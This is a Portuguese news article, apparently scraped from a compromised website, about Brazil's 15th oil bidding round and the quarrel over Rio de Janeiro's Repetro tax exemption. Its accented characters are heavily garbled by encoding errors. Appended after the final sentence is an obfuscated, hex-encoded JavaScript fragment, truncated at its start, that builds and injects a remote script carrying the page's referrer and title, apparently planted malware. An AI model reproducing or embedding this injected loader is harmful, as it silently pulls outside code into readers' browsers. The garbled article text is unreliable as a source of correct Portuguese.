28/03 07:10
Sem Repetro, leilA?o de petrA?leo pode ser esvaziado
07:10 – 28/03/2018
A 15.A? Rodada de LicitaAi??A?o de A?reas exploratA?rias de petrA?leo e gA?s natural acontecerA? nesta quinta-feira, 29, sob queixas das grandes empresas petroleiras. O presidente da PetrobrA?s, Pedro Parente, classificou nessa terAi??a-feira, 27, como “irracional” o projeto de parlamentares do Rio de nA?o aderirem ao programa de isenAi??A?o fiscal para o setor, o Repetro, adotado no restante do PaAi??s. Parente diz que, sem o benefAi??cio, os investidores poderA?o nA?o comparecer ao leilA?o.
O Repetro Ai?? um regime fiscal aduaneiro, aprovado no Congresso, que isenta de tributos a importaAi??A?o de equipamentos ainda na fase de investimentos, quando a produAi??A?o nA?o foi iniciada e, por isso, nA?o hA? geraAi??A?o de caixa. No Rio, o deputado estadual Luiz Paulo CorrA?a da Rocha, lAi??der do PSDB na Assembleia Legislativa do Estado do Rio (Alerj), apresentou um decreto legislativo para suspender a validade do regime. Com isso, se aprovada a proposta, o Rio serA? o A?nico Estado a nA?o aderir ao regime.
Para pressionar pela rejeiAi??A?o do decreto na Alerj, as petroleiras argumentam que, se aprovado, os projetos da indA?stria petroleira fluminense ficarA?o mais caros do que nos demais Estados e que, naturalmente, as companhias petroleiras vA?o preferir investir em outros locais, inclusive fora do Brasil.
“Se a PetrobrA?s Ai?? brasileira e vai pensar sempre no seu PaAi??s, outras empresas podem sim deixar o Brasil. Taxar investimento Ai?? uma das coisas mais irracionais que pode existir”, afirmou Parente, em palestra na sede da FederaAi??A?o das IndA?strias do Estado do Rio de Janeiro (Firjan). Para o executivo, a proposta dos deputados estaduais “Ai?? contrA?ria aos interesses do Rio de Janeiro e da sua economia”.
Para o ex-diretor da AgA?ncia Nacional do PetrA?leo, GA?s Natural e BiocombustAi??veis (ANP) e professor do Grupo de Economia da Energia (GEE) da UFRJ, Helder Queiroz JA?nior, “o problema Ai?? que todas as decisAi??es ficam para a A?ltima hora. Quanto mais ruAi??do, pior”. Ele acredita, no entanto, que a indefiniAi??A?o tributA?ria nA?o serA? suficiente para afastar investidores da 15.A? Rodada.
“O Brasil se consolidou como principal fronteira offshore (A?reas em A?guas profundas) no mundo. O contexto internacional, de alta do preAi??o do petrA?leo, ainda tem permitido Ai??s empresas ter uma rentabilidade mais elevada. Pode ser que isso dA? mais atratividade ao leilA?o neste momento”, complementou Queiroz JA?nior.
LeilA?o
A 15.A? Rodada serA? dividida em duas etapas: uma de oferta de blocos no mar e outra, em terra. As A?reas marAi??timas sA?o as mais atrativas para as grandes petroleiras, enquanto as terrestres sA?o mais voltadas para empresas de menor porte. Ao todo, serA?o oferecidos 70 blocos, 49 deles marAi??timos, distribuAi??dos em cinco bacias sedimentares. As Bacias de Campos e Santos, as principais produtoras nacionais, sA?o tambAi??m as que oferecem as melhores oportunidades de investimento. Os blocos das duas bacias tA?m caracterAi??sticas geolA?gicas de prAi??-sal e estA?o localizados prA?ximos a grandes reservatA?rios.
“SA?o campos que podem ter um interesse importante, tem bons campos. Mas temos de aguardar o leilA?o”, afirmou o presidente da PetrobrA?s, acrescentando que negocia com outras petroleiras possAi??veis parcerias. “A soma de perspectivas geolA?gicas com questAi??es regulatA?rias serA? fundamental para o sucesso da rodada”, disse o especialista Alfredo Renault, destacando a importA?ncia das alteraAi??Ai??es de regras promovidas pelo governo recentemente, como a que flexibiliza as exigA?ncias de conteA?do local. As informaAi??Ai??es sA?o do jornal O Estado de S. Paulo. x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}